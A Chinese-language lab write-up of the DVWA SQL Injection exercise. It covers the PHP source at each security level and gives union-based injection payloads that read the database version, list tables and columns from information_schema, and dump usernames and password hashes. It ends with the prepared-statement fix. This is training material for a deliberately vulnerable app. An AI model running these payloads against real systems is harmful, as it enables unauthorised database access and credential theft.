SQL Injection
SQL 注入
Low
源码解析
使用 $_REQUEST
直接读取用户输入数据,未进行检查和过滤就拼接到 SQL 查询语句中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if ( isset ( $_REQUEST [ 'Submit' ] ) ) { $id = $_REQUEST [ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); while ( $row = mysqli_fetch_assoc ( $result ) ) { $first = $row ["first_name" ]; $last = $row ["last_name" ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } mysqli_close ($GLOBALS ["___mysqli_ston" ]); } ?>
漏洞利用
判断类型
以下输入查询成功,说明存在字符型 SQL 注入漏洞,因为输入后的形成的语句为 SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2'
逻辑上没有错误,因此查询成功返回;
若为数字型,则语句为 SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2
,逻辑错误,查询失败。
推测 SQL 查询的字段数及顺序
利用注释符号 #
或 --
和逻辑语句 1=1
获得所有用户的 First name 和 Surname ;
使用 order by
推测查询的字段数,按照第 3 个字段排序时失败,说明只有 2 个字段;
1 2 3 1' or 1=1 order by 1# 1' or 1=1 order by 2# 1' or 1=1 order by 3#
联合查询判断字段的顺序,从反馈的结果来看,查询时字段的顺序为 First name 、 Surname 。
数据库信息
获取数据库的版本信息;
1 1' union select 1,version()#
获取当前数据库信息。
1 1' union select 1,database()#
数据表信息
查询 dvwa 数据库的数据表信息,有 guestbook、users 共 2 张表;
1 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
查询 users 数据表中的字段;
1 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
查询数据表的特定列,密码类似于 md5 散列值,解密后得到 admin 的密码为 password。
1 1' union select user,password from users#
参阅
Medium
源码解析
改用 $_POST
读取用户输入数据,使用 mysqli_real_escape_string
过滤 SQL 语句中的特殊字符,没有进一步检查和过滤,直接拼接到 SQL 查询语句中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $id = $_POST [ 'id' ]; $id = mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $id ); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id ;" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . mysqli_error ($GLOBALS ["___mysqli_ston" ]) . '</pre>' ); while ( $row = mysqli_fetch_assoc ( $result ) ) { $first = $row ["first_name" ]; $last = $row ["last_name" ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } } $query = "SELECT COUNT(*) FROM users;" ;$result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' );$number_of_rows = mysqli_fetch_row ( $result )[0 ];mysqli_close ($GLOBALS ["___mysqli_ston" ]);?>
漏洞利用
打开浏览器的开发者工具,可以看到是通过 POST 提交;
使用 Burp Suite 抓包,修改提交的参数;
判断类型
修改参数,返回所有数据,说明是数字型 SQL 注入漏洞,如果是字符型得使用 1' and 1=1
;
推测 SQL 查询的字段数及顺序
利用注释符号 #
或 --
和逻辑语句 1=1
获得所有用户的 First name 和 Surname ;
使用 order by
推测查询的字段数,按照第 3 个字段排序时失败,说明只有 2 个字段;
1 2 3 1 or 1=1 order by 1# 1 or 1=1 order by 2# 1 or 1=1 order by 3#
联合查询判断字段的顺序,从反馈的结果来看,查询时字段的顺序为 First name 、 Surname 。
数据库信息
获取数据库的版本信息;
1 1 union select 1,version()#
获取当前数据库信息。
1 1 union select 1,database()#
数据表信息
由于单引号 '
被过滤,因此直接查询 'dvwa'
返回错误,改用 database()
即可,返回 dvwa 数据库的数据表信息,有 guestbook、users 共 2 张表。
1 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
参阅
High
源码解析
从 $_SESSION
中获得数据,去掉了 mysqli_real_escape_string
,即不过滤特殊字符,直接拼接到 SQL 语句中,同时查询时增加了 LIMIT 1
的限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if ( isset ( $_SESSION [ 'id' ] ) ) { $id = $_SESSION [ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ' LIMIT 1;" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>Something went wrong.</pre>' ); while ( $row = mysqli_fetch_assoc ( $result ) ) { $first = $row ["first_name" ]; $last = $row ["last_name" ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
漏洞利用
点击后出现新页面,打开浏览器的开发者工具,可以看到还是通过 POST 提交;
使用 1' or 1=1#
测试成功,注入方法和 Low 级别相同。
参阅
Impossioble
源码解析
使用 $_GET
读取用户输入数据,添加 Anti-CSRF Token 来避免 CSRF 攻击;使用 is_numeric
检查输入数据是否为数字,并使用预处理的 SQL 语句进行查询,查询结果只有一条时才进行输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php if ( isset ( $_GET [ 'Submit' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $id = $_GET [ 'id' ]; if (is_numeric ( $id )) { $data = $db ->prepare ( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data ->bindParam ( ':id' , $id , PDO::PARAM_INT ); $data ->execute (); $row = $data ->fetch (); if ( $data ->rowCount () == 1 ) { $first = $row [ 'first_name' ]; $last = $row [ 'last_name' ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } } } generateSessionToken ();?>
参阅